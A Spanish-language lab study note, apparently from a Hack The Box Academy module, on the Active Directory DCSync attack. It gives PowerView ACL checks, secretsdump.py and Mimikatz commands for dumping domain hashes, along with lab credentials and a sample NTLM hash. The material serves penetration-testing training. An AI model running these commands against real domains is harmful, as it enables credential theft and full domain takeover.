DCSync — Compromiso Total del Dominio
DCSync es una técnica que permite a un atacante imitar a un Domain Controller y solicitar la replicación de contraseñas usando el protocolo DS-Replication.
Resultado: obtener NTLM hashes, Kerberos keys e incluso contraseñas reversibles de cualquier usuario del dominio.
Para ejecutar DCSync, el usuario comprometido debe poseer:
-
DS-Replication-Get-Changes
-
DS-Replication-Get-Changes-All
-
(Opcional pero común) DS-Replication-Get-Changes-In-Filtered-Set

🖥️ Escenario
-
Controlamos al usuario adunn, que posee privilegios de replicación (DCSync).
-
Realizaremos ejemplos desde Windows y Linux.
-
Windows (RDP):
htb-student : Academy_student_AD! -
Linux vía SSH desde MS01:
htb-student : HTB_@cademy_stdnt!
📘 ¿Cómo funciona realmente DCSync?
✔ Los Domain Controllers replican información entre sí usando el Directory Replication Service (DRS).
✔ DCSync consiste en fingir ser un DC y pedir los secretos del dominio.
✔ Si el usuario tiene los extended rights correctos → el DC obedecerá y enviará los hashes.
No necesitas privilegios de Domain Admin.
Solo necesitas los extended rights adecuados en la ACL del dominio.
🔍 Verificación de privilegios DCSync
👀 Confirmar grupos de adunn
Get-DomainUser -Identity adunn |
select samaccountname,objectsid,memberof,useraccountcontrol | fl

🔎 Comprobar ACLs para privilegios de replicación
$sid = "S-1-5-21-3842939050-3880317879-2865463114-1164"
Get-ObjectAcl "DC=inlanefreight,DC=local" -ResolveGUIDs |
? { $_.ObjectAceType -match 'Replication-Get' } |
? { $_.SecurityIdentifier -match $sid } |
select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl

Si encuentras estos ACEs → el usuario es válido para DCSync:
-
DS-Replication-Get-Changes
-
DS-Replication-Get-Changes-All
🔐 Contraseñas con cifrado reversible
Las contraseñas NO se guardan en texto plano, pero el cifrado RC4 es reversible.
Cualquier atacante con DCSync puede obtener la contraseña real.
Enumeración por PowerShell
Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl

PowerView
Get-DomainUser -Identity * |
? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |
select samaccountname,useraccountcontrol
Ejemplo encontrado:

💥 Ejecución del ataque DCSync
🐍 Método 1 — Linux con secretsdump.py
Extraer NTLM hashes + Kerberos keys:
secretdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5
-
*.ntds→ NTLM hashes -
*.ntds.kerberos→ Kerberos keys -
*.ntds.cleartext→ contraseñas reversibles si existen

Por ejemplo, si queremos ver las contraseñas con cifrado reversible del usuario syncron
secretsdump.py -just-dc-user syncron INLANEFREIGHT/adunn@172.16.5.5

🟦 Método 2 — Windows con Mimikatz
Usa runas /netonly:
runas /netonly /user:INLANEFREIGHT\adunn powershell
Ejecutar DCSync
Desde la consola de Mimikatz:
lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator
Hash NTLM: 88ad09182de639ccc6579eb0849751cf
📊 Flags útiles en secretsdump.py
| Flag | Descripción |
|---|---|
-just-dc |
Dump completo NTLM + Kerberos |
-just-dc-ntlm |
Solo hashes NTLM |
-just-dc-user <usuario> |
Dump de un usuario específico |
-pwd-last-set |
Fecha de último cambio de contraseña |
-history |
Historial de contraseñas |
-user-status |
Ver si la cuenta está deshabilitada |
🧠 Casos frecuentes en evaluaciones reales
-
Cuentas estándar con privilegios DCSync asignados por error.
-
Service accounts con reversible encryption activado.
-
Helpdesk / operadores con privilegios heredados sin revisar.
Si haces DCSync exitoso → controlas todo el dominio.
🧭 Próximo paso
🔜 Abuso de acceso remoto (RDP / WinRM / SQL-Admin) para moverte lateralmente.